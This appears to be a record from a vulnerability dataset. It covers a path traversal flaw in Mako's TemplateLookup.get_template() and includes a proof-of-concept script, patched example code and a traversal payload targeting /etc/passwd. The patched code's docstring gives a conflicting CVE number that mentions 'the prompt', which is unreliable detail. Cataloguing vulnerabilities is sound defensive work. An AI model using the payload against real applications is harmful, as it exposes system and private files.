{"id":1806,"cve":"CVE-2026-41205","cve_url":"https:\/\/www.cvedetails.com\/cve\/CVE-2026-41205\/","cwe":"CWE-22","cwe_number":22,"cwe_url":"https:\/\/cwe.mitre.org\/data\/definitions\/22","cvss_score":7.7,"published":"2026-04-23","owasp":"A01 Broken Access Control","odc":"Checking","cdc":"Incorrect Algorithm","category":"Input Validation and Sanitization","subcategory":"Path Traversal","scope":"Remote","impact":"Information Disclosure","summary":"Mako path traversal in `get_template()` allows reading arbitrary files.","permalink":"https:\/\/netpack.pt\/vaitp\/vulnerability\/CVE-2026-41205\/","description":"Mako is a template library written in Python. Prior to 1.3.11, TemplateLookup.get_template() is vulnerable to path traversal when a URI starts with \/\/ (e.g., \/\/..\/..\/..\/secret.txt). The root cause is an inconsistency between two slash-stripping implementations. Any file readable by the process can be returned as rendered template content when an application passes untrusted input directly to TemplateLookup.get_template(). This vulnerability is fixed in 1.3.11.","solution":"Upgrade Mako to version 1.3.11 or later.","affected_component":"Mako","fixed_by_upgrading":true,"vulnerable_code":"import os\nfrom mako.lookup import TemplateLookup\nfrom mako import exceptions\n\n# This code requires a vulnerable version of Mako (e.g., pip install mako==1.3.10)\n\n# --- Setup a vulnerable environment ---\n# Create a templates directory which is the intended root\nif not os.path.exists(\"templates\"):\n    os.makedirs(\"templates\")\n\n# Create a secret file outside the intended template directory\nwith open(\"secret.txt\", \"w\") as f:\n    f.write(\"THIS IS SENSITIVE FILE CONTENT\")\n\n# --- Vulnerable Application Code ---\n# An application creates a TemplateLookup, intending to restrict file access\n# to the 'templates' directory.\nlookup = TemplateLookup(directories=['templates'])\n\n# An attacker supplies a malicious URI. In a real application, this might\n# come from an HTTP request path or query parameter.\nmalicious_uri = '\/\/..\/secret.txt'\n\ntry:\n    # In Mako versions prior to 1.3.11, get_template() does not properly\n    # sanitize the path. It strips the leading slashes and joins the path,\n    # allowing the '..' to traverse up from the 'templates' directory.\n    leaked_template = lookup.get_template(malicious_uri)\n\n    # When the \"template\" is rendered, the content of the arbitrary file is returned.\n    print(\"--- Attempting to render content from outside the templates directory ---\")\n    print(leaked_template.render())\n    print(\"\\n[SUCCESS] Vulnerability exploited. The content of secret.txt was leaked.\")\n\nexcept exceptions.TopLevelLookupException:\n    print(\"\\n[INFO] Template not found. The Mako version may be patched (>= 1.3.11).\")\nexcept Exception as e:\n    print(f\"An unexpected error occurred: {e}\")\n\nfinally:\n    # --- Cleanup ---\n    if os.path.exists(\"secret.txt\"):\n        os.remove(\"secret.txt\")\n    if os.path.exists(\"templates\"):\n        os.rmdir(\"templates\")\n","patched_code":"import os\n\n# This custom exception mimics the one used by the Mako library for context.\nclass TopLevelLookupException(Exception):\n    pass\n\ndef get_path_with_fix(base_directory, uri):\n    \"\"\"\n    A simplified function demonstrating the logic that fixes the path\n    traversal vulnerability CVE-2024-41205 (referenced in the prompt as\n    CVE-2026-41205) in Mako's TemplateLookup.get_template().\n    \"\"\"\n    # The primary fix: Explicitly check for and reject any URI starting\n    # with \"\/\/\" before it is processed by os.path.join.\n    if uri.startswith('\/\/'):\n        raise TopLevelLookupException(\n            f\"Template URI '{uri}' is not allowed as it may be a path \"\n            \"traversal attempt.\"\n        )\n\n    # The URI is then stripped of leading slashes to be safely joined.\n    sanitized_uri = uri.lstrip('\/\\\\')\n\n    # A subsequent check prevents other traversal techniques like \"..\/\".\n    if '..' in sanitized_uri.split(os.path.sep):\n        raise TopLevelLookupException(\n            f\"Template URI '{uri}' is trying to break out of the \"\n            \"template directory.\"\n        )\n\n    # The path is safely joined.\n    full_path = os.path.join(base_directory, sanitized_uri)\n\n    # A final validation ensures the resolved path is within the base directory.\n    if not os.path.abspath(full_path).startswith(os.path.abspath(base_directory)):\n        raise TopLevelLookupException(\n            f\"Template URI '{uri}' resolved to a path outside the \"\n            \"template directory.\"\n        )\n\n    return full_path","payload_needed":true,"payload":"\/\/..\/..\/..\/..\/etc\/passwd","payload_status":"available","published_fix":[{"repository":"sqlalchemy\/mako","commit_url":"https:\/\/github.com\/sqlalchemy\/mako\/commit\/e05ac61989a7fb9dd7dcde6cfd72dc48328719a3","commit_subject":"Fix path traversal via double-slash URI prefix in TemplateLookup","units":[{"file":"mako\/template.py","function":"Template.__init__"}]}],"references":null}